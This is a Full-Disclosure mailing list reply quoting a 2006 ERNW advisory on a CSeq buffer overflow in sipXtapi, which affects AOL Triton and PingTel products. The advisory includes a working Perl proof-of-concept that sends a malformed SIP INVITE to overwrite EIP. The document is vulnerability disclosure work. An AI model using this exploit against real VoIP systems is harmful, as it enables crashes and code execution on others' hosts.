Re: [Full-disclosure] ERNW Security Advisory 02/2006 - Buffer Overflow in sipXtapi (used in AOL Triton)

[Mailinglists <mozilla () ids-guide de>]

The bug is confirmed and fixed, but it's up to the guys from
sipfoundry to work on their changelogs ;-)

TD> is there an official notification from sipX?
TD> I dont see any mention to this vulnerability in the changelog


TD> On 7/10/06, mozilla () ids-guide de <mozilla () ids-guide de> wrote:
> > ERNW Security Advisory 02-2006
> >
> > Buffer Overflow in SIP Foundry's SipXtapi
> >
> > Author:
> > Michael Thumann <mthumann[at]ernw.de>
> > Homepage: www.ernw.de
> >
> > 1. Summary:
> > The sipXtapi library from sip foundry contains a buffer overflow when
> > parsing the CSeq field.
> > This flaw can be used by  an attacker to gain control over EIP and execute
> > arbitrary code.
> >
> > 2. Severity : Critical
> >
> > 3. Products affected
> > - sipXtapi: all version compiled before 24 of march 2006
> > - PingTel products
> > - AOL Triton
> >
> > 4. Patch Availability :
> > A patch is available within the source tree and the affected products of
> > PingTel and AOL
> > have beed updated.
> >
> > 5. Details
> > Sending a CSeq field value greater than 24 bytes triggers the buffer
> > ovlerflow condition.
> >
> > 6. Solution
> > Update the affected products to the actual version.
> >
> > 7. Time-Line
> > 20 Mar 2006: Vulnerability reported to vendor
> > 20 Mar 2006: Answer from vendor
> > 24 Mar 2006: Patch available
> > 10 July 2006: Public Disclosure
> >
> > 8. Exploit
> > #!/usr/bin/perl
> > # PoC Exploit By mthumann () ernw de
> > # Remote Buffer Overflow in sipXtapi
> >
> > use IO::Socket;
> > #use strict;
> >
> >
> > print "sipXtapi Exploit by Michael Thumann \n\n";
> >
> > if (not $ARGV[0]) {
> >         print "Usage: sipx.pl <host>\n";
> > exit;}
> >
> > $target=$ARGV[0];
> > my $source ="127.0.0.1";
> > my $target_port = 5060;
> > my $user ="bad";
> > my $eip="\x41\x41\x41\x41";
> > my $cseq =
> > "\x31\x31\x35\x37\x39\x32\x30\x38".
> > "\x39\x32\x33\x37\x33\x31\x36\x31".
> > "\x39\x35\x34\x32\x33\x35\x37\x30".
> > $eip;
> > my $packet =<<END;
> > INVITE sip:user\@$source SIP/2.0\r
> > To: <sip:$target:$target_port>\r
> > Via: SIP/2.0/UDP $target:3277\r
> > From: "moz"<sip:$target:3277>\r
> > Call-ID: 3121$target\r
> > CSeq: $cseq\r
> > Max-Forwards: 70\r
> > Contact: <sip:$source:5059>\r
> > \r
> > END
> >
> > print "Sending Packet to: " . $target . "\n\n";
> > socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
> > my $ipaddr = inet_aton($target);
> > my $sendto = sockaddr_in($target_port,$ipaddr);
> > send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
> > $target : $target_port : $!\n";
> > print "Done.\n";
> >
> > 9. Thanks
> > We would like to thank the guys from sip foundry for working together on
> > this issue in a professional and
> > responsible way.
> >
> > 10. Disclaimer
> > The informations in this advisory are provided "AS IS" without warranty
> > of any kind. In no event shall the authors be liable for any damages
> > whatsoever including direct, indirect, incidental, consequential,
> > loss of business profits or special damages due to the misuse of any
> > information provided in this advisory.
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/



-- 
Mit freundlichen Grüßen
Mailinglists
mailto:mozilla () ids-guide de